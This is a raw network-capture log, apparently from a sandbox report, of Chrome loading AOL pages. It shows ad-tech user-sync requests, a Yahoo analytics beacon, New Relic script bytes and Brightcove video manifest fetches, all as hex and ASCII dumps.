2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 59 6d 54 47 62 5a 59 50 32 57 6a 4f 43 69 6c 6b 4f 7a 55 48 58 57 2d 6f 78 7a 79 6a 44 37 6b 57 48 30 56 37 38 52 45 33 68 4d 67 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 2c 5f 5f 6e 72 5f 72 65 71 75 69 72 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 69 66 28 21 6e 5b 65 5d 29 7b 76 61 72 20 6f 3d 6e 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 74 5b 65 5d 5b 30 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 6f 3d 74 5b 65 5d 5b 31 5d 5b 6e 5d 3b 72 65 74 Data Ascii: erification" content="YmTGbZYP2WjOCilkOzUHXW-oxzyjD7kWH0V78RE3hMg"><script type="text/javascript">window.NREUM\|\|(NREUM={}),__nr_require=function(t,n,e){function r(e){if(!n[e]){var o=n[e]={exports:{}};t[e][0].call(o.exports,function(n){var o=t[e][1][n];ret
2024-05-23 22:35:00 UTC	14	IN	Data Raw: 29 2c 73 3d 74 28 22 65 65 22 29 2c 63 3d Data Ascii: ),s=t("ee"),c=
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 74 28 22 6c 6f 61 64 65 72 22 29 2c 66 3d 74 28 22 67 6f 73 22 29 2c 75 3d 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 2c 64 3d 21 31 2c 6c 3d 22 6e 72 40 73 65 65 6e 45 72 72 6f 72 22 2c 70 3d 30 3b 63 2e 66 65 61 74 75 72 65 73 2e 65 72 72 3d 21 30 2c 74 28 31 29 2c 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 3d 72 3b 74 72 79 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 7d 63 61 74 63 68 28 68 29 7b 22 73 74 61 63 6b 22 69 6e 20 68 26 26 28 74 28 39 29 2c 74 28 38 29 2c 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 74 28 35 29 2c 63 2e 78 68 72 57 72 61 70 70 61 62 6c 65 26 26 74 28 31 30 29 2c 64 3d 21 30 29 7d 73 2e 6f 6e 28 22 66 6e 2d 73 74 61 72 74 22 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 64 26 Data Ascii: t("loader"),f=t("gos"),u=window.onerror,d=!1,l="nr@seenError",p=0;c.features.err=!0,t(1),window.onerror=r;try{throw new Error}catch(h){"stack"in h&&(t(9),t(8),"addEventListener"in window&&t(5),c.xhrWrappable&&t(10),d=!0)}s.on("fn-start",function(t,n,e){d&
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 6e 29 7b 69 28 76 2c 5b 6e 2c 74 68 69 73 2e 62 73 74 53 74 61 72 74 2c 79 2e 6e 6f 77 28 29 2c 22 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 22 5d 29 7d 29 2c 6f 2e 6f 6e 28 67 2b 70 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 74 69 6d 65 3d 79 2e 6e 6f 77 28 29 2c 74 68 69 73 2e 73 74 61 72 74 50 61 74 68 3d 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 7d 29 2c 6f 2e 6f 6e 28 67 2b 68 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 28 22 62 73 74 48 69 73 74 22 2c 5b 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2c 74 68 69 73 2e 73 74 61 72 74 50 61 74 68 2c 74 68 69 73 2e 74 69 6d 65 5d 29 7d 29 2c 66 20 69 6e 20 77 69 6e 64 6f 77 2e Data Ascii: n){i(v,[n,this.bstStart,y.now(),"requestAnimationFrame"])}),o.on(g+p,function(t){this.time=y.now(),this.startPath=location.pathname+location.hash}),o.on(g+h,function(t){i("bstHist",[location.pathname+location.hash,this.startPath,this.time])}),f in window.
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 6e 61 6d 65 7c 7c 22 61 6e 6f 6e 79 6d 6f 75 73 22 29 3a 65 7d 29 3b 74 68 69 73 2e 77 72 61 70 70 65 64 3d 74 5b 31 5d 3d 72 7d 29 2c 61 2e 6f 6e 28 64 2b 22 2d 73 74 61 72 74 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 5b 31 5d 3d 74 68 69 73 2e 77 72 61 70 70 65 64 7c 7c 74 5b 31 5d 7d 29 7d 2c 7b 7d 5d 2c 36 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 6e 2c 65 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 28 74 5b 6e 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 69 28 61 72 67 75 6d 65 6e 74 73 29 2c 6e 3d 7b 7d 3b 6f 2e 65 6d 69 74 28 65 2b 22 62 65 66 6f 72 65 2d 73 74 61 72 74 22 2c 5b 74 5d 2c 6e 29 3b 76 61 72 20 61 3b 6e 5b 6d Data Ascii: name\|\|"anonymous"):e});this.wrapped=t[1]=r}),a.on(d+"-start",function(t){t[1]=this.wrapped\|\|t[1]})},{}],6:[function(t,n,e){function r(t,n,e){var r=t[n];"function"==typeof r&&(t[n]=function(){var t=i(arguments),n={};o.emit(e+"before-start",[t],n);var a;n[m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.6	50085	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	785	OUT	GET /usersync?b=ttd&i=8369ae03-bf51-422b-a15c-33306b0e1dfe HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:00 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:00 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:00 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.6	50080	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	745	OUT	GET /sync?ssp=triplelift&user_id=3476490108663385185440&gdpr=0&gdpr_consent=${GDPR_CONSENT} HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503696
2024-05-23 22:35:00 UTC	262	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 May 2024 22:35:00 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //c1.adform.net/serving/cookie/match/?party=24&bidswitch_ssp_id=triplelift

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.6	50086	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	682	OUT	GET /usersync?b=opx&i=d873ee3a-8fda-4617-8655-b742b2315610 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:00 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:00 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:00 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.6	50093	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	1591	OUT	POST /p?s=1197805788&t=LiKUR6UxAPC9iAk3,0.9371438177924212&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503691%04A_prems%03402%04_E%03dwell%04_ts%031716503699%04_ms%03166%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:00 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:00 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:00 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:00 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.6	50091	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	665	OUT	GET /usersync?b=apn&i=9165965397510453586 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:00 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:00 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:00 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.6	50102	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	1349	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6s/master.m3u8?fastly_token=NjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	670	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Bolt-Device-Group: desktop-chrome X-Powered-By: BC X-Powered-From: gantry Date: Thu, 23 May 2024 22:35:00 GMT Via: 1.1 varnish Age: 4 X-Served-By: cache-nyc-kteb1890051-NYC X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1716503701.501305,VS0,VE1 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:00 UTC	5	IN	Data Raw: 31 61 39 0d 0a Data Ascii: 1a9
2024-05-23 22:35:00 UTC	425	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 34 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 3a 54 59 50 45 3d 41 55 44 49 4f 2c 47 52 4f 55 50 2d 49 44 3d 22 61 75 64 69 6f 2d 30 22 2c 4e 41 4d 45 3d 22 65 6e 20 28 4d 61 69 6e 29 22 2c 44 45 46 41 55 4c 54 3d 59 45 53 2c 41 55 54 4f 53 45 4c 45 43 54 3d 59 45 53 2c 4c 41 4e 47 55 41 47 45 3d 22 65 6e 22 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 62 39 66 63 61 32 35 39 2d 33 38 34 34 Data Ascii: #EXTM3U#EXT-X-VERSION:4#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-0",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844
2024-05-23 22:35:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:00 UTC	5	IN	Data Raw: 36 66 32 0d 0a Data Ascii: 6f2
2024-05-23 22:35:00 UTC	1371	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:00 UTC	407	IN	Data Raw: 30 2c 43 4f 44 45 43 53 3d 22 6d 70 34 61 2e 34 30 2e 32 2c 61 76 63 31 2e 34 64 30 30 31 66 22 2c 52 45 53 4f 4c 55 54 49 4f 4e 3d 39 36 30 78 35 34 30 2c 41 55 44 49 4f 3d 22 61 75 64 69 6f 2d 30 22 2c 43 4c 4f 53 45 44 2d 43 41 50 54 49 4f 4e 53 3d 4e 4f 4e 45 2c 53 55 42 54 49 54 4c 45 53 3d 22 73 75 62 74 69 74 6c 65 73 2d 30 22 0a 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 33 31 64 66 62 35 66 31 2d 65 32 64 34 2d 34 33 38 61 2d 62 36 30 33 2d 31 38 63 61 39 33 36 Data Ascii: 0,CODECS="mp4a.40.2,avc1.4d001f",RESOLUTION=960x540,AUDIO="audio-0",CLOSED-CAPTIONS=NONE,SUBTITLES="subtitles-0"https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca936
2024-05-23 22:35:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:00 UTC	5	IN	Data Raw: 32 32 62 0d 0a Data Ascii: 22b
2024-05-23 22:35:00 UTC	555	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.6	50103	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	809	OUT	GET /thumbnail/v1/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/thumbnail.webvtt?fastly_token=NjY0ZmQyYTRfOGRhNWUzZmU3OGNhODkwMWViMTFmZWZlZmM4MWI3ZDAzZmIyNThhMjIwYTQzNzM4ZDQ5YmNlNzkwY2RiYjIxMw%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	656	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5090 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: text/vtt; charset=UTF-8 X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:00 GMT Via: 1.1 varnish Age: 9297 X-Served-By: cache-nyc-kteb1890061-NYC X-Cache: HIT X-Cache-Hits: 183 X-Timer: S1716503700.498742,VS0,VE0 X-Device-Group: desktop-chrome
2024-05-23 22:35:00 UTC	1371	IN	Data Raw: 57 45 42 56 54 54 0a 0a 30 30 3a 30 30 2e 30 30 30 20 2d 2d 3e 20 30 30 3a 30 35 2e 30 30 30 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 30 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 35 31 36 39 38 33 7e 61 63 6c 3d 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 Data Ascii: WEBVTT00:00.000 --> 00:05.000https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/0s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6
